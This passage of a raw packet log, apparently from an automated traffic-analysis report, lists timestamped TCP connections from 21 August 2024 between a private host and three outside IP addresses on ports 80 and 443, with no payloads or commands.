Aug 21, 2024 08:32:15.550518036 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550537109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550548077 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.550582886 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.550582886 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.550612926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550618887 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550630093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550635099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550647020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550652027 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550664902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550672054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550682068 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.550710917 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.550971985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550978899 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550983906 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550990105 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.551034927 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.551187992 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.551193953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.551199913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.551203966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.551235914 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.551268101 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.553647041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.553653002 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.553666115 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.553736925 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.553742886 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.553750992 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.553761005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.553767920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.553808928 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.555557013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.555562973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.555573940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.555634975 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.555687904 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.555694103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.555705070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.555710077 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.555722952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.555727959 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.555738926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.555743933 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.555749893 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.555752039 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.555762053 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.555768967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.555799007 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.555799007 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.555835009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.578499079 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.578510046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.578516960 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.578531027 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.578536034 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.578550100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.578562021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.578571081 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.578619957 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.578628063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.578651905 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.578658104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.578687906 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.578692913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.578706980 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.578722000 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.578727961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.578751087 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.578756094 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.578800917 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.579052925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.579058886 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.579070091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.579109907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.579116106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.579123020 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.579149008 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.579155922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.579159021 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.579197884 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.579230070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580105066 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580111027 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580127954 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580132961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580142021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580147982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580173016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580178022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580178022 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.580183029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580190897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580203056 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.580244064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580246925 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.580252886 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580338955 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580343962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580349922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580355883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580390930 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.580425024 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.580456972 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580461979 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580472946 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580490112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580495119 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580524921 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.580544949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580545902 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.580552101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580579042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580585003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.580598116 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.582647085 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.586819887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.586826086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.586838007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.586922884 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.586927891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.586929083 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.586941957 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.586946011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.586956978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.586972952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.587009907 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.587029934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587035894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587047100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587052107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587057114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587069035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587076902 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.587097883 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.587317944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587323904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587333918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587340117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587363958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587368965 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.587373972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587378979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587384939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587388039 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.587389946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587409019 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.587430000 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.587762117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587805033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587827921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587853909 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.587857008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587862968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587872028 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.587873936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587879896 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.587905884 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.587930918 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.588263035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.588268995 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.588279963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.588314056 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.588356972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.588365078 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.588366985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.588372946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.588376999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.588397026 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.588418007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.589406967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.589412928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.589423895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.589477062 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.589493036 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.589694023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.589699030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.589709997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.589715958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.589745045 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.589771986 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.589957952 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.590004921 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.590151072 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.590203047 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.590212107 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.590231895 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.590257883 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.590279102 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.590425014 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.590451956 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.590487003 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.590492964 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.590519905 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.590547085 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.591310978 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.591326952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591331005 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.591346025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591352940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591361046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591367960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591375113 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591388941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591408014 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.591411114 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.591418028 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.591424942 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.591432095 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.591458082 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.591468096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591474056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591476917 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.591484070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591487885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591495991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591502905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591509104 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.591510057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591511011 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.591514111 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.591517925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591551065 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.591568947 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.591582060 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.591685057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591691017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591700077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591705084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591708899 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.591708899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591713905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591726065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.591738939 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.591763020 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.592165947 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.592180967 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.592247009 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.592253923 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.592458010 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.592690945 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.592706919 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.592744112 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.592750072 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.592835903 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.592835903 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.592967987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.592974901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.592986107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.592991114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.592997074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593036890 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.593061924 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.593101025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593106985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593168020 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.593218088 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.593233109 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.593242884 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593250990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593261957 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593321085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593322039 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.593326092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593327999 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.593332052 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.593332052 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.593368053 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.593369961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593375921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593378067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593391895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593400955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593404055 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.593410015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593415022 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.593434095 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.593477964 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.593483925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593493938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593506098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593509912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.593564987 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.594016075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594027042 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594036102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594044924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594077110 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.594110966 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.594135046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594156981 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594163895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594170094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594199896 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.594350100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594355106 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594366074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594414949 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.594434977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594440937 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594451904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594456911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594480991 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.594506979 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.594705105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594712973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594762087 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.594851971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594860077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594867945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594875097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594890118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594901085 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.594903946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594911098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594922066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594928026 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.594944000 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.594968081 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.595026970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.595032930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.595040083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.595043898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.595072031 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.595089912 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.598156929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.598169088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.598242998 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.598265886 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.598265886 CEST	80	49720	147.45.44.104	192.168.2.6
